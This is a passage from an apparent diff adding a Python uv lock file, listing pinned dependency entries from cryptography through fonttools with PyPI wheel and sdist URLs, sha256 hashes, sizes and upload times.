"https://files.pythonhosted.org/packages/37/53/a18500f270342d66bf7e4d9f091114e31e5ee9e7375a5aba2e85a91e0044/cryptography-46.0.5-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:50bfb6925eff619c9c023b967d5b77a54e04256c4281b0e21336a130cd7fc263", size = 4277528, upload-time = "2026-02-10T19:17:13.853Z" }, + { url = "https://files.pythonhosted.org/packages/6b/e7/237155ae19a9023de7e30ec64e5d99a9431a567407ac21170a046d22a5a3/cryptography-46.0.5-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ee190460e2fbe447175cda91b88b84ae8322a104fc27766ad09428754a618ed", size = 4456855, upload-time = "2026-02-10T19:17:17.221Z" }, + { url = "https://files.pythonhosted.org/packages/2d/87/fc628a7ad85b81206738abbd213b07702bcbdada1dd43f72236ef3cffbb5/cryptography-46.0.5-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:f145bba11b878005c496e93e257c1e88f154d278d2638e6450d17e0f31e558d2", size = 3984635, upload-time = "2026-02-10T19:17:18.792Z" }, + { url = "https://files.pythonhosted.org/packages/84/29/65b55622bde135aedf4565dc509d99b560ee4095e56989e815f8fd2aa910/cryptography-46.0.5-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e9251e3be159d1020c4030bd2e5f84d6a43fe54b6c19c12f51cde9542a2817b2", size = 4277038, upload-time = "2026-02-10T19:17:20.256Z" }, + { url = "https://files.pythonhosted.org/packages/6d/1a/c1ba8fead184d6e3d5afcf03d569acac5ad063f3ac9fb7258af158f7e378/cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:4c3341037c136030cb46e4b1e17b7418ea4cbd9dd207e4a6f3b2b24e0d4ac731", size = 4456482, upload-time = "2026-02-10T19:17:25.133Z" }, + { url = "https://files.pythonhosted.org/packages/f9/e5/3fb22e37f66827ced3b902cf895e6a6bc1d095b5b26be26bd13c441fdf19/cryptography-46.0.5-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:890bcb4abd5a2d3f852196437129eb3667d62630333aacc13dfd470fad3aaa82", size = 4405497, upload-time = "2026-02-10T19:17:26.66Z" }, + { url = "https://files.pythonhosted.org/packages/1a/df/9d58bb32b1121a8a2f27383fabae4d63080c7ca60b9b5c88be742be04ee7/cryptography-46.0.5-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:80a8d7bfdf38f87ca30a5391c0c9ce4ed2926918e017c29ddf643d0ed2778ea1", size = 4667819, upload-time = "2026-02-10T19:17:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/c8/581a6702e14f0898a0848105cbefd20c058099e2c2d22ef4e476dfec75d7/cryptography-46.0.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5be7bf2fb40769e05739dd0046e7b26f9d4670badc7b032d6ce4db64dddc0678", size = 4265728, upload-time = "2026-02-10T19:17:35.569Z" }, + { url = "https://files.pythonhosted.org/packages/dd/4a/ba1a65ce8fc65435e5a849558379896c957870dd64fecea97b1ad5f46a37/cryptography-46.0.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe346b143ff9685e40192a4960938545c699054ba11d4f9029f94751e3f71d87", size = 4408287, upload-time = "2026-02-10T19:17:36.938Z" }, + { url = "https://files.pythonhosted.org/packages/f8/67/8ffdbf7b65ed1ac224d1c2df3943553766914a8ca718747ee3871da6107e/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c69fd885df7d089548a42d5ec05be26050ebcd2283d89b3d30676eb32ff87dee", size = 4270291, upload-time = "2026-02-10T19:17:38.748Z" }, + { url = "https://files.pythonhosted.org/packages/3b/02/cfe39181b02419bbbbcf3abdd16c1c5c8541f03ca8bda240debc467d5a12/cryptography-46.0.5-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:1abfdb89b41c3be0365328a410baa9df3ff8a9110fb75e7b52e66803ddabc9a9", size = 4442199, upload-time = "2026-02-10T19:17:41.789Z" }, + { url = "https://files.pythonhosted.org/packages/c0/96/2fcaeb4873e536cf71421a388a6c11b5bc846e986b2b069c79363dc1648e/cryptography-46.0.5-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d66e421495fdb797610a08f43b05269e0a5ea7f5e652a89bfd5a7d3c1dee3648", size = 3960131, upload-time = "2026-02-10T19:17:43.379Z" }, + { url = "https://files.pythonhosted.org/packages/d8/d2/b27631f401ddd644e94c5cf33c9a4069f72011821cf3dc7309546b0642a0/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4e817a8920bfbcff8940ecfd60f23d01836408242b30f1a708d93198393a80b4", size = 4270072, upload-time = "2026-02-10T19:17:45.481Z" }, + { url = "https://files.pythonhosted.org/packages/d2/b9/cf73ddf8ef1164330eb0b199a589103c363afa0cf794218c24d524a58eab/cryptography-46.0.5-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a3d1fae9863299076f05cb8a778c467578262fae09f9dc0ee9b12eb4268ce663", size = 4441741, upload-time = "2026-02-10T19:17:48.661Z" }, + { url = "https://files.pythonhosted.org/packages/5f/eb/eee00b28c84c726fe8fa0158c65afe312d9c3b78d9d01daf700f1f6e37ff/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4143987a42a2397f2fc3b4d7e3a7d313fbe684f67ff443999e803dd75a76826", size = 4396728, upload-time = "2026-02-10T19:17:50.058Z" }, + { url = "https://files.pythonhosted.org/packages/65/f4/6bc1a9ed5aef7145045114b75b77c2a8261b4d38717bd8dea111a63c3442/cryptography-46.0.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7d731d4b107030987fd61a7f8ab512b25b53cef8f233a97379ede116f30eb67d", size = 4652001, upload-time = "2026-02-10T19:17:51.54Z" }, + { url = "https://files.pythonhosted.org/packages/0f/04/c85bdeab78c8bc77b701bf0d9bdcf514c044e18a46dcff330df5448631b0/cryptography-46.0.5-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1f30a86d2757199cb2d56e48cce14deddf1f9c95f1ef1b64ee91ea43fe2e18", size = 4275349, upload-time = "2026-02-10T19:17:58.419Z" }, + { url = "https://files.pythonhosted.org/packages/5c/32/9b87132a2f91ee7f5223b091dc963055503e9b442c98fc0b8a5ca765fab0/cryptography-46.0.5-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:039917b0dc418bb9f6edce8a906572d69e74bd330b0b3fea4f79dab7f8ddd235", size = 4420667, upload-time = "2026-02-10T19:18:00.619Z" }, + { url = "https://files.pythonhosted.org/packages/a1/a6/a7cb7010bec4b7c5692ca6f024150371b295ee1c108bdc1c400e4c44562b/cryptography-46.0.5-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ba2a27ff02f48193fc4daeadf8ad2590516fa3d0adeeb34336b96f7fa64c1e3a", size = 4276980, upload-time = "2026-02-10T19:18:02.379Z" }, + { url = "https://files.pythonhosted.org/packages/37/19/e1b8f964a834eddb44fa1b9a9976f4e414cbb7aa62809b6760c8803d22d1/cryptography-46.0.5-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ce58ba46e1bc2aac4f7d9290223cead56743fa6ab94a5d53292ffaac6a91614", size = 4453674, upload-time = "2026-02-10T19:18:05.588Z" }, + { url = "https://files.pythonhosted.org/packages/db/ed/db15d3956f65264ca204625597c410d420e26530c4e2943e05a0d2f24d51/cryptography-46.0.5-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:420d0e909050490d04359e7fdb5ed7e667ca5c3c402b809ae2563d7e66a92229", size = 3978801, upload-time = "2026-02-10T19:18:07.167Z" }, + { url = "https://files.pythonhosted.org/packages/41/e2/df40a31d82df0a70a0daf69791f91dbb70e47644c58581d654879b382d11/cryptography-46.0.5-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:582f5fcd2afa31622f317f80426a027f30dc792e9c80ffee87b993200ea115f1", size = 4276755, upload-time = "2026-02-10T19:18:09.813Z" }, + { url = "https://files.pythonhosted.org/packages/99/0f/a3076874e9c88ecb2ecc31382f6e7c21b428ede6f55aafa1aa272613e3cd/cryptography-46.0.5-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:a3d507bb6a513ca96ba84443226af944b0f7f47dcc9a399d110cd6146481d24c", size = 4452794, upload-time = "2026-02-10T19:18:12.914Z" }, + { url = "https://files.pythonhosted.org/packages/02/ef/ffeb542d3683d24194a38f66ca17c0a4b8bf10631feef44a7ef64e631b1a/cryptography-46.0.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9f16fbdf4da055efb21c22d81b89f155f02ba420558db21288b3d0035bafd5f4", size = 4404160, upload-time = "2026-02-10T19:18:14.375Z" }, + { url = "https://files.pythonhosted.org/packages/96/93/682d2b43c1d5f1406ed048f377c0fc9fc8f7b0447a478d5c65ab3d3a66eb/cryptography-46.0.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ced80795227d70549a411a4ab66e8ce307899fad2220ce5ab2f296e687eacde9", size = 4667123, upload-time = "2026-02-10T19:18:15.886Z" }, + { url = "https://files.pythonhosted.org/packages/e9/6f/6cc6cc9955caa6eaf83660b0da2b077c7fe8ff9950a3c5e45d605038d439/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:bc84e875994c3b445871ea7181d424588171efec3e185dced958dad9e001950a", size = 4218321, upload-time = "2026-02-10T19:18:22.349Z" }, + { url = "https://files.pythonhosted.org/packages/3e/5d/c4da701939eeee699566a6c1367427ab91a8b7088cc2328c09dbee940415/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2ae6971afd6246710480e3f15824ed3029a60fc16991db250034efd0b9fb4356", size = 4381786, upload-time = "2026-02-10T19:18:24.529Z" }, + { url = "https://files.pythonhosted.org/packages/ac/97/a538654732974a94ff96c1db621fa464f455c02d4bb7d2652f4edc21d600/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:d861ee9e76ace6cf36a6a89b959ec08e7bc2493ee39d07ffe5acb23ef46d27da", size = 4217990, upload-time = "2026-02-10T19:18:25.957Z" }, + { url = "https://files.pythonhosted.org/packages/ae/11/7e500d2dd3ba891197b9efd2da5454b74336d64a7cc419aa7327ab74e5f6/cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:2b7a67c9cd56372f3249b39699f2ad479f6991e62ea15800973b956f4b73e257", size = 4381252, upload-time = "2026-02-10T19:18:27.496Z" }, +] + +[[package]] +name = "csscompressor" +version = "0.9.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f1/2a/8c3ac3d8bc94e6de8d7ae270bb5bc437b210bb9d6d9e46630c98f4abd20c/csscompressor-0.9.5.tar.gz", hash = "sha256:afa22badbcf3120a4f392e4d22f9fff485c044a1feda4a950ecc5eba9dd31a05", size = 237808, upload-time = "2017-11-26T21:13:08.238Z" } + +[[package]] +name = "cuda-bindings" +version = "12.9.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cuda-pathfinder", marker = "(platform_machine != 'aarch64' and sys_platform == 'linux') or (sys_platform != 'darwin' and sys_platform != 'linux')" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/7a/d8/b546104b8da3f562c1ff8ab36d130c8fe1dd6a045ced80b4f6ad74f7d4e1/cuda_bindings-12.9.4-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d3c842c2a4303b2a580fe955018e31aea30278be19795ae05226235268032e5", size = 12148218, upload-time = "2025-10-21T14:51:28.855Z" }, + { url = "https://files.pythonhosted.org/packages/45/e7/b47792cc2d01c7e1d37c32402182524774dadd2d26339bd224e0e913832e/cuda_bindings-12.9.4-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c912a3d9e6b6651853eed8eed96d6800d69c08e94052c292fec3f282c5a817c9", size = 12210593, upload-time = "2025-10-21T14:51:36.574Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c1/dabe88f52c3e3760d861401bb994df08f672ec893b8f7592dc91626adcf3/cuda_bindings-12.9.4-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fda147a344e8eaeca0c6ff113d2851ffca8f7dfc0a6c932374ee5c47caa649c8", size = 12151019, upload-time = "2025-10-21T14:51:43.167Z" }, + { url = "https://files.pythonhosted.org/packages/63/56/e465c31dc9111be3441a9ba7df1941fe98f4aa6e71e8788a3fb4534ce24d/cuda_bindings-12.9.4-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:32bdc5a76906be4c61eb98f546a6786c5773a881f3b166486449b5d141e4a39f", size = 11906628, upload-time = "2025-10-21T14:51:49.905Z" }, + { url = "https://files.pythonhosted.org/packages/a3/84/1e6be415e37478070aeeee5884c2022713c1ecc735e6d82d744de0252eee/cuda_bindings-12.9.4-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56e0043c457a99ac473ddc926fe0dc4046694d99caef633e92601ab52cbe17eb", size = 11925991, upload-time = "2025-10-21T14:51:56.535Z" }, + { url = "https://files.pythonhosted.org/packages/d1/af/6dfd8f2ed90b1d4719bc053ff8940e494640fe4212dc3dd72f383e4992da/cuda_bindings-12.9.4-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8b72ee72a9cc1b531db31eebaaee5c69a8ec3500e32c6933f2d3b15297b53686", size = 11922703, upload-time = "2025-10-21T14:52:03.585Z" }, + { url = "https://files.pythonhosted.org/packages/6c/19/90ac264acc00f6df8a49378eedec9fd2db3061bf9263bf9f39fd3d8377c3/cuda_bindings-12.9.4-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d80bffc357df9988dca279734bc9674c3934a654cab10cadeed27ce17d8635ee", size = 11924658, upload-time = "2025-10-21T14:52:10.411Z" }, +] + +[[package]] +name = "cuda-pathfinder" +version = "1.3.3" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/02/4dbe7568a42e46582248942f54dc64ad094769532adbe21e525e4edf7bc4/cuda_pathfinder-1.3.3-py3-none-any.whl", hash = "sha256:9984b664e404f7c134954a771be8775dfd6180ea1e1aef4a5a37d4be05d9bbb1", size = 27154, upload-time = "2025-12-04T22:35:08.996Z" }, +] + +[[package]] +name = "cycler" +version = "0.12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a9/95/a3dbbb5028f35eafb79008e7522a75244477d2838f38cbb722248dabc2a8/cycler-0.12.1.tar.gz", hash = "sha256:88bb128f02ba341da8ef447245a9e138fae777f6a23943da4540077d3601eb1c", size = 7615, upload-time = "2023-10-07T05:32:18.335Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e7/05/c19819d5e3d95294a6f5947fb9b9629efb316b96de511b418c53d245aae6/cycler-0.12.1-py3-none-any.whl", hash = "sha256:85cef7cff222d8644161529808465972e51340599459b8ac3ccbac5a854e0d30", size = 8321, upload-time = "2023-10-07T05:32:16.783Z" }, +] + +[[package]] +name = "defusedxml" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0f/d5/c66da9b79e5bdb124974bfe172b4daf3c984ebd9c2a06e2b8a4dc7331c72/defusedxml-0.7.1.tar.gz", hash = "sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69", size = 75520, upload-time = "2021-03-08T10:59:26.269Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/6c/aa3f2f849e01cb6a001cd8554a88d4c77c5c1a31c95bdf1cf9301e6d9ef4/defusedxml-0.7.1-py2.py3-none-any.whl", hash = "sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61", size = 25604, upload-time = "2021-03-08T10:59:24.45Z" }, +] + +[[package]] +name = "distlib" +version = "0.3.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0d/dd/1bec4c5ddb504ca60fc29472f3d27e8d4da1257a854e1d96742f15c1d02d/distlib-0.3.9.tar.gz", hash = "sha256:a60f20dea646b8a33f3e7772f74dc0b2d0772d2837ee1342a00645c81edf9403", size = 613923, upload-time = "2024-10-09T18:35:47.551Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/91/a1/cf2472db20f7ce4a6be1253a81cfdf85ad9c7885ffbed7047fb72c24cf87/distlib-0.3.9-py2.py3-none-any.whl", hash = "sha256:47f8c22fd27c27e25a65601af709b38e4f0a45ea4fc2e710f65755fa8caaaf87", size = 468973, upload-time = "2024-10-09T18:35:44.272Z" }, +] + +[[package]] +name = "docopt" +version = "0.6.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/55/8f8cab2afd404cf578136ef2cc5dfb50baa1761b68c9da1fb1e4eed343c9/docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491", size = 25901, upload-time = "2014-06-16T11:18:57.406Z" } + +[[package]] +name = "docutils" +version = "0.21.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/ed/aefcc8cd0ba62a0560c3c18c33925362d46c6075480bfa4df87b28e169a9/docutils-0.21.2.tar.gz", hash = "sha256:3a6b18732edf182daa3cd12775bbb338cf5691468f91eeeb109deff6ebfa986f", size = 2204444, upload-time = "2024-04-23T18:57:18.24Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/d7/9322c609343d929e75e7e5e6255e614fcc67572cfd083959cdef3b7aad79/docutils-0.21.2-py3-none-any.whl", hash = "sha256:dafca5b9e384f0e419294eb4d2ff9fa826435bf15f15b7bd45723e8ad76811b2", size = 587408, upload-time = "2024-04-23T18:57:14.835Z" }, +] + +[[package]] +name = "easyocr" +version = "1.7.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "ninja" }, + { name = "numpy" }, + { name = "opencv-python-headless" }, + { name = "pillow" }, + { name = "pyclipper" }, + { name = "python-bidi" }, + { name = "pyyaml" }, + { name = "scikit-image" }, + { name = "scipy" }, + { name = "shapely" }, + { name = "torch" }, + { name = "torchvision" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/bb/84/4a2cab0e6adde6a85e7ba543862e5fc0250c51f3ac721a078a55cdcff250/easyocr-1.7.2-py3-none-any.whl", hash = "sha256:5be12f9b0e595d443c9c3d10b0542074b50f0ec2d98b141a109cd961fd1c177c", size = 2870178, upload-time = "2024-09-24T11:34:43.554Z" }, +] + +[[package]] +name = "einops" +version = "0.8.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2c/77/850bef8d72ffb9219f0b1aac23fbc1bf7d038ee6ea666f331fa273031aa2/einops-0.8.2.tar.gz", hash = "sha256:609da665570e5e265e27283aab09e7f279ade90c4f01bcfca111f3d3e13f2827", size = 56261, upload-time = "2026-01-26T04:13:17.638Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/09/f8d8f8f31e4483c10a906437b4ce31bdf3d6d417b73fe33f1a8b59e34228/einops-0.8.2-py3-none-any.whl", hash = "sha256:54058201ac7087911181bfec4af6091bb59380360f069276601256a76af08193", size = 65638, upload-time = "2026-01-26T04:13:18.546Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/0b/9f/a65090624ecf468cdca03533906e7c69ed7588582240cfe7cc9e770b50eb/exceptiongroup-1.3.0.tar.gz", hash = "sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88", size = 29749, upload-time = "2025-05-10T17:42:51.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/36/f4/c6e662dade71f56cd2f3735141b265c3c79293c109549c1e6933b0651ffc/exceptiongroup-1.3.0-py3-none-any.whl", hash = "sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10", size = 16674, upload-time = "2025-05-10T17:42:49.33Z" }, +] + +[[package]] +name = "filelock" +version = "3.20.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1d/65/ce7f1b70157833bf3cb851b556a37d4547ceafc158aa9b34b36782f23696/filelock-3.20.3.tar.gz", hash = "sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1", size = 19485, upload-time = "2026-01-09T17:55:05.421Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b5/36/7fb70f04bf00bc646cd5bb45aa9eddb15e19437a28b8fb2b4a5249fac770/filelock-3.20.3-py3-none-any.whl", hash = "sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1", size = 16701, upload-time = "2026-01-09T17:55:04.334Z" }, +] + +[[package]] +name = "fonttools" +version = "4.60.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3e/c4/db6a7b5eb0656534c3aa2596c2c5e18830d74f1b9aa5aa8a7dff63a0b11d/fonttools-4.60.2.tar.gz", hash = "sha256:d29552e6b155ebfc685b0aecf8d429cb76c14ab734c22ef5d3dea6fdf800c92c", size = 3562254, upload-time = "2025-12-09T13:38:11.835Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/de/9e10a99fb3070accb8884886a41a4ce54e49bf2fa4fc63f48a6cf2061713/fonttools-4.60.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e36fadcf7e8ca6e34d490eef86ed638d6fd9c55d2f514b05687622cfc4a7050", size = 2850403, upload-time = "2025-12-09T13:35:53.14Z" }, + { url = "https://files.pythonhosted.org/packages/e4/40/d5b369d1073b134f600a94a287e13b5bdea2191ba6347d813fa3da00e94a/fonttools-4.60.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6e500fc9c04bee749ceabfc20cb4903f6981c2139050d85720ea7ada61b75d5c", size = 2398629, upload-time = "2025-12-09T13:35:56.471Z" }, + { url = "https://files.pythonhosted.org/packages/7c/b5/123819369aaf99d1e4dc49f1de1925d4edc7379114d15a56a7dd2e9d56e6/fonttools-4.60.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22efea5e784e1d1cd8d7b856c198e360a979383ebc6dea4604743b56da1cbc34", size = 4893471, upload-time = "2025-12-09T13:35:58.927Z" }, + { url = "https://files.pythonhosted.org/packages/24/29/f8f8acccb9716b899be4be45e9ce770d6aa76327573863e68448183091b0/fonttools-4.60.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:677aa92d84d335e4d301d8ba04afca6f575316bc647b6782cb0921943fcb6343", size = 4854686, upload-time = "2025-12-09T13:36:01.767Z" }, + { url = "https://files.pythonhosted.org/packages/5a/0d/f3f51d7519f44f2dd5c9a60d7cd41185ebcee4348f073e515a3a93af15ff/fonttools-4.60.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:edd49d3defbf35476e78b61ff737ff5efea811acff68d44233a95a5a48252334", size = 4871233, upload-time = "2025-12-09T13:36:06.094Z" }, + { url = "https://files.pythonhosted.org/packages/cc/3f/4d4fd47d3bc40ab4d76718555185f8adffb5602ea572eac4bbf200c47d22/fonttools-4.60.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:126839492b69cecc5baf2bddcde60caab2ffafd867bbae2a88463fce6078ca3a", size = 4988936, upload-time = "2025-12-09T13:36:08.42Z" }, + { url = "https://files.pythonhosted.org/packages/01/6f/83bbdefa43f2c3ae206fd8c4b9a481f3c913eef871b1ce9a453069239e39/fonttools-4.60.2-cp310-cp310-win32.whl", hash = "sha256:ffcab6f5537136046ca902ed2491ab081ba271b07591b916289b7c27ff845f96", size = 2278044, upload-time = "2025-12-09T13:36:10.641Z" }, + { url = "https://files.pythonhosted.org/packages/d4/04/7d9a137e919d6c9ef26704b7f7b2580d9cfc5139597588227aacebc0e3b7/fonttools-4.60.2-cp310-cp310-win_amd64.whl", hash = "sha256:9c68b287c7ffcd29dd83b5f961004b2a54a862a88825d52ea219c6220309ba45", size = 2326522, upload-time = "2025-12-09T13:36:12.981Z" }, + { url = "https://files.pythonhosted.org/packages/e0/80/b7693d37c02417e162cc83cdd0b19a4f58be82c638b5d4ce4de2dae050c4/fonttools-4.60.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a2aed0a7931401b3875265717a24c726f87ecfedbb7b3426c2ca4d2812e281ae", size = 2847809, upload-time = "2025-12-09T13:36:14.884Z" }, + { url = "https://files.pythonhosted.org/packages/f9/9a/9c2c13bf8a6496ac21607d704e74e9cc68ebf23892cf924c9a8b5c7566b9/fonttools-4.60.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dea6868e9d2b816c9076cfea77754686f3c19149873bdbc5acde437631c15df1", size = 2397302, upload-time = "2025-12-09T13:36:17.151Z" }, + { url = "https://files.pythonhosted.org/packages/56/f6/ce38ff6b2d2d58f6fd981d32f3942365bfa30eadf2b47d93b2d48bf6097f/fonttools-4.60.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2fa27f34950aa1fe0f0b1abe25eed04770a3b3b34ad94e5ace82cc341589678a", size = 5054418, upload-time = "2025-12-09T13:36:19.062Z" }, + { url = "https://files.pythonhosted.org/packages/88/06/5353bea128ff39e857c31de3dd605725b4add956badae0b31bc9a50d4c8e/fonttools-4.60.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:13a53d479d187b09bfaa4a35ffcbc334fc494ff355f0a587386099cb66674f1e", size = 5031652, upload-time = "2025-12-09T13:36:21.206Z" }, + { url = "https://files.pythonhosted.org/packages/71/05/ebca836437f6ebd57edd6428e7eff584e683ff0556ddb17d62e3b731f46c/fonttools-4.60.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fac5e921d3bd0ca3bb8517dced2784f0742bc8ca28579a68b139f04ea323a779", size = 5030321, upload-time = "2025-12-09T13:36:23.515Z" }, + { url = "https://files.pythonhosted.org/packages/57/f9/eb9d2a2ce30c99f840c1cc3940729a970923cf39d770caf88909d98d516b/fonttools-4.60.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:648f4f9186fd7f1f3cd57dbf00d67a583720d5011feca67a5e88b3a491952cfb", size = 5154255, upload-time = "2025-12-09T13:36:25.879Z" }, + { url = "https://files.pythonhosted.org/packages/08/a2/088b6ceba8272a9abb629d3c08f9c1e35e5ce42db0ccfe0c1f9f03e60d1d/fonttools-4.60.2-cp311-cp311-win32.whl", hash = "sha256:3274e15fad871bead5453d5ce02658f6d0c7bc7e7021e2a5b8b04e2f9e40da1a", size = 2276300, upload-time = "2025-12-09T13:36:27.772Z" }, + { url = "https://files.pythonhosted.org/packages/de/2f/8e4c3d908cc5dade7bb1316ce48589f6a24460c1056fd4b8db51f1fa309a/fonttools-4.60.2-cp311-cp311-win_amd64.whl", hash = "sha256:91d058d5a483a1525b367803abb69de0923fbd45e1f82ebd000f5c8aa65bc78e", size = 2327574, upload-time = "2025-12-09T13:36:30.89Z" }, + { url = "https://files.pythonhosted.org/packages/c0/30/530c9eddcd1c39219dc0aaede2b5a4c8ab80e0bb88d1b3ffc12944c4aac3/fonttools-4.60.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e0164b7609d2b5c5dd4e044b8085b7bd7ca7363ef8c269a4ab5b5d4885a426b2", size = 2847196, upload-time = "2025-12-09T13:36:33.262Z" }, + { url = "https://files.pythonhosted.org/packages/19/2f/4077a482836d5bbe3bc9dac1c004d02ee227cf04ed62b0a2dfc41d4f0dfd/fonttools-4.60.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1dd3d9574fc595c1e97faccae0f264dc88784ddf7fbf54c939528378bacc0033", size = 2395842, upload-time = "2025-12-09T13:36:35.47Z" }, + { url = "https://files.pythonhosted.org/packages/dd/05/aae5bb99c5398f8ed4a8b784f023fd9dd3568f0bd5d5b21e35b282550f11/fonttools-4.60.2-cp312-cp312-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:98d0719f1b11c2817307d2da2e94296a3b2a3503f8d6252a101dca3ee663b917", size = 4949713, upload-time = "2025-12-09T13:36:37.874Z" }, + { url = "https://files.pythonhosted.org/packages/b4/37/49067349fc78ff0efbf09fadefe80ddf41473ca8f8a25400e3770da38328/fonttools-4.60.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9d3ea26957dd07209f207b4fff64c702efe5496de153a54d3b91007ec28904dd", size = 4999907, upload-time = "2025-12-09T13:36:39.853Z" }, + { url = 